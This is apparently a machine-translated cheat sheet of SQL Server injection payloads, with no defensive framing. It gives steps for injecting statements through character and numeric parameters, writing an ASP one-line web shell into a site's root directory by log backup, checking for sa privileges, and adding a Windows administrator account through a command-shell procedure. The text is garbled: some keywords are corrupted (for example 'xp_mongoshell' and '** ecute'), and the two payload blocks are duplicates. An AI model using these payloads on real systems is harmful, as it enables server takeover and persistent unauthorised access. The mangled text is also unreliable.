Steps for manual differential backup

Character Type

1. Restore the current database
; Alter database Current database set recovery full --

2. Create a table cmd
; Create table cmd (a image )--

3. Back up the current database to D: cmd1
; Backup log current database to disk = D: cmd1 with init --

4. insert a sentence code to the created table cmd.
; Insert into cmd (a) values (<% 25 ** ecute (request ("a") % 25> )--

5. Back up one sentence of code to the site root directory
; Backup log current database to disk = D: www_weboct.asp --

6. Complete
; Drop table created table --

----------------------------------

Number Type

1. Restore the current database
; Alter database Current database set recovery full --

2. Create a table cmd
; Create table cmd (a image )--

3. Back up the current database to D: cmd1
; Backup log current database to disk = D: cmd1 with init --

4. insert a sentence code to the created table cmd.
; Insert into cmd (a) values (<% 25 ** ecute (request ("a") % 25> )--

5. Back up one sentence of code to the site root directory
; Backup log current database to disk = D: www_weboct.asp --

6. Complete
; Drop table created table --

--------------------------------

Sa permission to create an administrator user

1. Determine whether injection exists; and 1 = 1; and 1 = 2
; And user_name () = dbo determines whether the current system's connected user is sa

2. Add the system administrator
; Exec master. dbo. xp_mongoshell net user wk wk90/add ;--
; Exec master. dbo. xp_mongoshell net localgroup administrators wk/add ;--